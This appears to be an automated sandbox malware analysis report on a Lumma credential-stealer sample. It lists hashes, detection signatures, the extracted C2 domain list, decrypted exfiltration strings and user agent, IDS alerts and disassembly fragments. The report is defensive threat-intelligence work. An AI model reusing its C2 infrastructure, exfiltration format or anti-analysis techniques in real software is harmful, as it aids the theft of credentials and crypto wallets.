Edit tour

Windows Analysis Report
hiip7UoiAq.exe

Overview

General Information

Sample name:	hiip7UoiAq.exe renamed because original name is a hash value
Original sample name:	68a13aa2834765a18fc577743c2ba964.exe
Analysis ID:	1575781
MD5:	68a13aa2834765a18fc577743c2ba964
SHA1:	9dffcb3cb8a051e80c5559e36ca554b17573c221
SHA256:	cb2c3ead655928f6de339b184c1996729f1b54614afcae9a271d6a36c866a3bd
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

hiip7UoiAq.exe (PID: 7316 cmdline: "C:\Users\user\Desktop\hiip7UoiAq.exe" MD5: 68A13AA2834765A18FC577743C2BA964)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["debonairnukk.xyz", "deafeninggeh.biz", "wrathful-jammy.cyou", "effecterectz.xyz", "tacitglibbr.biz", "diffuculttan.xyz", "immureprech.biz", "sordid-snaked.cyou", "awake-weaves.cyou"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1435420192.0000000001643000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1489510243.000000000163F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1435134651.0000000001643000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1488545232.000000000163F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1519346910.000000000163F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1466936473.000000000163F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1466965670.0000000001651000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.1436631841.0000000001643000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: hiip7UoiAq.exe PID: 7316	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: hiip7UoiAq.exe PID: 7316	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: hiip7UoiAq.exe PID: 7316	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 7 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:18:43.292492+0100	2028371	3	Unknown Traffic	192.168.2.9	49717	104.21.50.161	443	TCP
2024-12-16T10:18:45.695896+0100	2028371	3	Unknown Traffic	192.168.2.9	49723	104.21.50.161	443	TCP
2024-12-16T10:18:50.043975+0100	2028371	3	Unknown Traffic	192.168.2.9	49734	172.67.164.37	443	TCP
2024-12-16T10:18:53.091889+0100	2028371	3	Unknown Traffic	192.168.2.9	49740	172.67.164.37	443	TCP
2024-12-16T10:18:55.283121+0100	2028371	3	Unknown Traffic	192.168.2.9	49746	172.67.164.37	443	TCP
2024-12-16T10:18:58.734530+0100	2028371	3	Unknown Traffic	192.168.2.9	49759	172.67.164.37	443	TCP
2024-12-16T10:19:01.452367+0100	2028371	3	Unknown Traffic	192.168.2.9	49765	172.67.164.37	443	TCP
2024-12-16T10:19:05.896948+0100	2028371	3	Unknown Traffic	192.168.2.9	49776	172.67.164.37	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:18:44.099667+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49717	104.21.50.161	443	TCP
2024-12-16T10:18:48.277926+0100	2054653	1	A Network Trojan was detected	192.168.2.9	49723	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:18:44.099667+0100	2049836	1	A Network Trojan was detected	192.168.2.9	49717	104.21.50.161	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:18:48.277926+0100	2049812	1	A Network Trojan was detected	192.168.2.9	49723	104.21.50.161	443	TCP

ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:18:43.292492+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49717	104.21.50.161	443	TCP
2024-12-16T10:18:45.695896+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49723	104.21.50.161	443	TCP
2024-12-16T10:18:50.043975+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49734	172.67.164.37	443	TCP
2024-12-16T10:18:53.091889+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49740	172.67.164.37	443	TCP
2024-12-16T10:18:55.283121+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49746	172.67.164.37	443	TCP
2024-12-16T10:18:58.734530+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49759	172.67.164.37	443	TCP
2024-12-16T10:19:01.452367+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49765	172.67.164.37	443	TCP
2024-12-16T10:19:05.896948+0100	2058231	1	Domain Observed Used for C2 Detected	192.168.2.9	49776	172.67.164.37	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:18:41.925218+0100	2058230	1	Domain Observed Used for C2 Detected	192.168.2.9	56849	1.1.1.1	53	UDP
2024-12-16T10:18:48.682708+0100	2058230	1	Domain Observed Used for C2 Detected	192.168.2.9	64154	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T10:18:51.659543+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.9	49734	172.67.164.37	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: hiip7UoiAq.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://tacitglibbr.biz/N	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/IQ~	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/v	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/apis	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/j	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/apiichd	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/apiited	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/api_	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/##	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/apidb	Avira URL Cloud: Label: malware
Source: https://tacitglibbr.biz/apipj	Avira URL Cloud: Label: malware

Found malware configuration

Source: hiip7UoiAq.exe.7316.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["debonairnukk.xyz", "deafeninggeh.biz", "wrathful-jammy.cyou", "effecterectz.xyz", "tacitglibbr.biz", "diffuculttan.xyz", "immureprech.biz", "sordid-snaked.cyou", "awake-weaves.cyou"], "Build id": "PsFKDg--pablo"}

Multi AV Scanner detection for submitted file

Source: hiip7UoiAq.exe

ReversingLabs: Detection: 57%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: hiip7UoiAq.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.1364472610.0000000005430000.00000004.00001000.00020000.00000000.sdmp	String decryptor: sordid-snaked.cyou
Source: 00000000.00000003.1364472610.0000000005430000.00000004.00001000.00020000.00000000.sdmp	String decryptor: awake-weaves.cyou
Source: 00000000.00000003.1364472610.0000000005430000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wrathful-jammy.cyou
Source: 00000000.00000003.1364472610.0000000005430000.00000004.00001000.00020000.00000000.sdmp	String decryptor: debonairnukk.xyz
Source: 00000000.00000003.1364472610.0000000005430000.00000004.00001000.00020000.00000000.sdmp	String decryptor: diffuculttan.xyz
Source: 00000000.00000003.1364472610.0000000005430000.00000004.00001000.00020000.00000000.sdmp	String decryptor: effecterectz.xyz
Source: 00000000.00000003.1364472610.0000000005430000.00000004.00001000.00020000.00000000.sdmp	String decryptor: deafeninggeh.biz
Source: 00000000.00000003.1364472610.0000000005430000.00000004.00001000.00020000.00000000.sdmp	String decryptor: immureprech.biz
Source: 00000000.00000003.1364472610.0000000005430000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tacitglibbr.biz
Source: 00000000.00000003.1364472610.0000000005430000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.1364472610.0000000005430000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.1364472610.0000000005430000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.1364472610.0000000005430000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.1364472610.0000000005430000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.1364472610.0000000005430000.00000004.00001000.00020000.00000000.sdmp	String decryptor: PsFKDg--pablo

Source: C:\Users\user\Desktop\hiip7UoiAq.exe

Code function: 0_2_00C95298 CryptUnprotectData,

0_2_00C95298

Source: hiip7UoiAq.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.50.161:443 -> 192.168.2.9:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.9:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.9:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.9:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.9:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.164.37:443 -> 192.168.2.9:49765 version: TLS 1.2

Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ecx, eax	0_2_00CAC45C
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+38h]	0_2_00C8C917
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [edi+edx*8], CAA82E26h	0_2_00CBCB20
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], E88DDEA1h	0_2_00CBCD60
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov byte ptr [edi], al	0_2_00C8CFF3
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx eax, byte ptr [eax+ecx-6A653384h]	0_2_00C8CFF3
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx ebx, byte ptr [edi+eax]	0_2_00C95298
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov word ptr [eax], dx	0_2_00C95298
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+000000B8h]	0_2_00CAB4FC
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ecx, eax	0_2_00CAB4FC
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 67F3D776h	0_2_00CA5990
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx ecx, di	0_2_00CA5990
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov edi, eax	0_2_00CABBF7
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_00CABBF7
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ecx, edx	0_2_00C8BDC9
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx edi, byte ptr [edx+ecx]	0_2_00C8DD25
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp al, 2Eh	0_2_00CA6054
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then jmp eax	0_2_00CA6054
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then jmp ecx	0_2_00CBC1F0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then jmp ecx	0_2_00CBC280
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ecx, eax	0_2_00C943C2
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov edi, dword ptr [esp+34h]	0_2_00C943C2
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then add ebp, dword ptr [esp+0Ch]	0_2_00CAA3D0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp word ptr [ebx+ecx], 0000h	0_2_00CA05B0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ecx, dword ptr [esi+64h]	0_2_00C98578
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_00CAC6E4
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00C966A0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov eax, edx	0_2_00C9C6BB
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_00CAC64A
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov edx, dword ptr [ebp-10h]	0_2_00CBA777
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_00CAC726
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_00CAC735
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx ebx, byte ptr [eax+ecx-3F9DFECCh]	0_2_00C8E83B
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], A269EEEFh	0_2_00CB69A0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+edx]	0_2_00C9E9B0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ecx, eax	0_2_00C8A940
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov edx, ecx	0_2_00C8A940
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ecx, eax	0_2_00CBAAB2
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ebx, dword ptr [esp+04h]	0_2_00CACBEA
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov byte ptr [esi], cl	0_2_00CACBEA
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov eax, ebx	0_2_00C9CB05
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ebp, dword ptr [eax]	0_2_00CB6C00
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx ebx, byte ptr [ecx+edx*2]	0_2_00C9ADA1
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [edi+ebp*8], 88822328h	0_2_00CBCE90
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ecx, eax	0_2_00CAADF4
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ecx, eax	0_2_00CAAE48
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then jmp eax	0_2_00CA6E50
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ecx, eax	0_2_00CAAE24
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [esi+ebp*8], B1025CF1h	0_2_00CBB05B
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx-57437DD5h]	0_2_00CBB05B
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [esi+ebp*8], B1025CF1h	0_2_00CBB05D
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx-57437DD5h]	0_2_00CBB05D
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [esi+ebp*8], B1025CF1h	0_2_00CBB068
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx-57437DD5h]	0_2_00CBB068
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx esi, byte ptr [esp+edx-57437DD5h]	0_2_00CBB195
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [ecx+edi*8], 2298EE00h	0_2_00CBD2F0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx edx, word ptr [eax]	0_2_00CBD2F0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov word ptr [ebp+00h], 0000h	0_2_00CA52BA
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [ebx+esi*8], B430E561h	0_2_00CA52BA
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then lea eax, dword ptr [esp+18h]	0_2_00CA526A
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ebx, edi	0_2_00C9D270
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov edx, eax	0_2_00CA7326
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx edi, byte ptr [edx+eax-000000BFh]	0_2_00C97582
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov edx, eax	0_2_00CA750D
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax+000000B8h]	0_2_00CAB4F7
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ecx, eax	0_2_00CAB4F7
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	0_2_00CB3630
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx edx, byte ptr [esi+eax-00000089h]	0_2_00C8D7A2
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx edx, byte ptr [esi+eax-00000089h]	0_2_00C8D7A2
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], A896961Ch	0_2_00C99770
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 6E83E51Eh	0_2_00C99770
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [ebp+ebx*8+00h], 6E83E51Eh	0_2_00C99770
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [esi+edx*8], 67F3D776h	0_2_00C99770
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 67F3D776h	0_2_00C99770
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], B7C1BB11h	0_2_00C99770
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 6E83E51Eh	0_2_00C99770
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], B430E561h	0_2_00C99770
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax-78E52646h]	0_2_00C89700
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx edi, byte ptr [esp+eax-46h]	0_2_00C89700
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx+16h]	0_2_00C89700
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00C9B823
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movsx eax, byte ptr [esi]	0_2_00CBB9A1
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ebx, dword ptr [edi+04h]	0_2_00CA99B0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov byte ptr [ebx], cl	0_2_00C9BAC7
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov esi, eax	0_2_00CA3A34
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx edi, byte ptr [esp+ecx+0233DBB1h]	0_2_00CA7DA2
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov ecx, eax	0_2_00CA1D10
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+20h]	0_2_00CA5E90
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00C9BEA0
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov edi, eax	0_2_00CABFF2
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov byte ptr [esi], al	0_2_00CABFF2
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then mov byte ptr [ebp+00h], al	0_2_00C9DF80
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then jmp eax	0_2_00CBBF40
Source: C:\Users\user\Desktop\hiip7UoiAq.exe	Code function: 4x nop then movzx edi, byte ptr [edx+eax-000000A8h]	0_2_00C95F66

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058230 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz) : 192.168.2.9:56849 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49723 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49734 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49740 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49776 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058230 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tacitglibbr .biz) : 192.168.2.9:64154 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49759 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49746 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49717 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2058231 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (tacitglibbr .biz in TLS SNI) : 192.168.2.9:49765 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.9:49734 -> 172.67.164.37:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.9:49717 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.9:49717 -> 104.21.50.161:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.9:49723 -> 104.21.50.161:443
